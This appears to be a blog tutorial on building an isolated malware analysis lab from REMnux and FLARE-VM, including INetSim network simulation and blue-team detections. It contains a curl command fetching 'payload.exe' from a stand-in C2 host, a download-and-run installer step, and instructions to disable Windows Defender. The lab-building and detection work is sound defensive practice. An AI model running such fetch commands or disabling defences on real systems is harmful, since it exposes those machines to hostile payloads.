Building a Malware Analysis Lab with REMnux and FLARE-VM

Malware & C2
2025.11.03
Time it takes to read this article 5 minutes.

Disclaimer: This article is for education and authorized testing only. Detonating live malware is dangerous and can damage networks, leak data, or break the law if performed against systems or networks you do not own. Build and use this lab in an isolated environment that you fully control.

Introduction / Overview

Static analysis only gets you so far. To understand how a sample resolves its C2, drops payloads, or pivots, you eventually need to run it. Doing that safely requires a dedicated, isolated lab where the malware believes it has reached the internet while it is actually talking to your own simulated services.

This article walks through building a two-VM analysis lab: REMnux (a Linux distribution for malware analysis and network simulation) and FLARE-VM (a Windows toolset from Mandiant/Google for reverse engineering and dynamic analysis). The REMnux box plays the role of "the internet" using INetSim, while FLARE-VM is the detonation host.

How it works / Background

Dynamic analysis hinges on deception and containment. Two core ideas:

  1. Network containment — the victim VM must never reach the real internet. We give it a host-only/internal network and point its default gateway and DNS at the REMnux box.
  2. Service simulation — most malware checks connectivity, resolves a domain, and pulls a stage-2 payload over HTTP(S). If those requests time out, the sample may exit or never reveal its behavior. Tools like INetSim and FakeNet-NG answer every request with plausible responses (fake DNS A records, dummy HTTP files, SMTP banners), so the malware proceeds.

REMnux ships with INetSim for whole-network simulation; FLARE-VM ships with FakeNet-NG, which simulates services on the host itself by intercepting traffic — useful when you do not want a second VM.

Prerequisites / Lab setup

  • A hypervisor: VMware Workstation/Fusion or VirtualBox.
  • ~80 GB free disk, 8 GB+ RAM (4 GB per VM minimum).
  • A clean, fully patched Windows 10/11 VM (FLARE-VM does not ship Windows).
  • REMnux ISA/OVA from the official project.

Networking — the most important step. Configure both VMs on a single host-only or internal network with no NAT/bridged adapter. In VMware that is a custom VMnet with DHCP and host connection disabled; in VirtualBox it is an Internal Network.

Assign static addresses:

Host IP Role
REMnux 192.168.56.10 Gateway / DNS / sim services
FLARE-VM 192.168.56.20 Detonation host

Install REMnux on an existing Ubuntu, or use the appliance, then update it:

# On REMnux — install or refresh the distro tooling
remnux upgrade
remnux update
Bash

Install FLARE-VM on the Windows VM. Run from an elevated PowerShell after disabling Windows Defender/Tamper Protection and automatic updates (the installer expects this):

# Download and launch the FLARE-VM installer
(New-Object net.webclient).DownloadFile(
  'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1',
  "$env:USERPROFILE\Desktop\install.ps1")
Unblock-File .\install.ps1
Set-ExecutionPolicy Unrestricted -Scope Process -Force
.\install.ps1
PowerShell

The install reboots several times and takes 30-90 minutes. When it finishes, shut down and take a clean snapshot of both VMs. Snapshots are your reset button — revert to clean state after every single sample.

Walkthrough / PoC (step by step)

1. Point FLARE-VM at REMnux

On the Windows VM, set the default gateway and DNS to the REMnux IP:

# Run elevated. Replace the interface alias with your adapter's name.
netsh interface ip set address "Ethernet0" static 192.168.56.20 255.255.255.0 192.168.56.10
netsh interface ip set dns     "Ethernet0" static 192.168.56.10
PowerShell

2. Start INetSim on REMnux

INetSim's config lives at /etc/inetsim/inetsim.conf. Bind the services to the REMnux IP and set the DNS default IP so every lookup resolves back to REMnux:

# /etc/inetsim/inetsim.conf (key directives)
service_bind_address   192.168.56.10
dns_default_ip         192.168.56.10
dns_default_hostname   www
start_service          dns
start_service          http
start_service          https
start_service          smtp
Bash

Launch it:

sudo inetsim
# Watch live connections
sudo tail -f /var/log/inetsim/service.log
Bash

3. Verify the deception from FLARE-VM

nslookup updates.evil-c2.example   # should resolve to 192.168.56.10
curl http://updates.evil-c2.example/payload.exe -o C:\fake.bin
PowerShell

INetSim returns its default fake binary regardless of path. If DNS resolves and HTTP returns data, your simulation works.

4. Detonate and capture

Start a packet capture on REMnux before running the sample:

sudo tcpdump -i eth0 -w /cases/sample01.pcap host 192.168.56.20
Bash

On FLARE-VM, run procmon, Process Hacker, and a network monitor, then execute the sample. Afterwards inspect the C2 beacon pattern, dropped files, and registry persistence. Then revert both snapshots.

5. Alternative: FakeNet-NG on the host

If you prefer a single VM, FakeNet-NG (preinstalled on FLARE-VM) intercepts traffic locally:

fakenet
PowerShell

It logs DNS queries and serves fake responses without a second box — convenient, but it runs in the same OS as the malware, which is a weaker containment boundary than a separate gateway VM.

Mermaid diagram

Building a Malware Analysis Lab with REMnux and FLARE-VM diagram 1

The diagram shows the victim VM's traffic flowing only to the REMnux gateway, which simulates services and captures packets, while the real internet path is deliberately cut.

Detection & Defense (Blue Team)

A lab teaches both sides. The behaviors you observe map directly to detections and controls. Weight your blue-team effort at least as heavily as the analysis itself.

Network detections

  • Beaconing: regular, low-jitter connections to a single host are a strong C2 indicator (MITRE ATT&CK T1071 — Application Layer Protocol). Hunt with NetFlow/Zeek for fixed-interval callbacks.
  • DNS anomalies: high-entropy or DGA-style domains, and large TXT/A-record volumes, indicate tunneling (T1071.004 — DNS). Log all DNS at the resolver and alert on NXDOMAIN spikes.
  • Egress filtering: block outbound traffic by default and allow only known destinations. In the lab you cut egress entirely — in production, apply the same principle with proxy allowlists.

Host detections

  • Persistence: monitor Run keys, Scheduled Tasks, and Services with Sysmon (Event IDs 11/12/13). Map to T1547 — Boot or Logon Autostart.
  • Process injection: the same behaviors you watch in Process Hacker (CreateRemoteThread, WriteProcessMemory) are detectable via Sysmon Event ID 8 and EDR (T1055).
  • Living-off-the-land: alert on rundll32, regsvr32, mshta, and powershell -enc spawning network connections.

Operational hygiene for the lab itself

  • Keep snapshots immutable and never connect the analysis network to your corporate LAN.
  • Disable shared folders, clipboard sharing, and drag-and-drop on the detonation VM to prevent guest-to-host escape.
  • Assume samples are sandbox-aware: anti-VM checks may suppress behavior. Detection of those evasion checks (e.g., cpuid, registry queries for VMware artifacts) is itself a useful signature.

For deeper static triage before detonation, pair this lab with disassembly in Ghidra and unpacking workflows in unpacking packed malware. To turn captured beacons into rules, see writing YARA and Suricata signatures.

Conclusion

A REMnux + FLARE-VM lab gives you a safe, repeatable place to detonate samples and watch real behavior. The two non-negotiables are isolation (a host-only network with no path to the internet) and snapshots (a one-click clean reset). INetSim and FakeNet-NG provide the deception that makes malware reveal its C2 and payload-retrieval logic. Treat every analysis as an opportunity to write a detection — the offensive insight only matters if it feeds defense.

References

Comments

Copied title and URL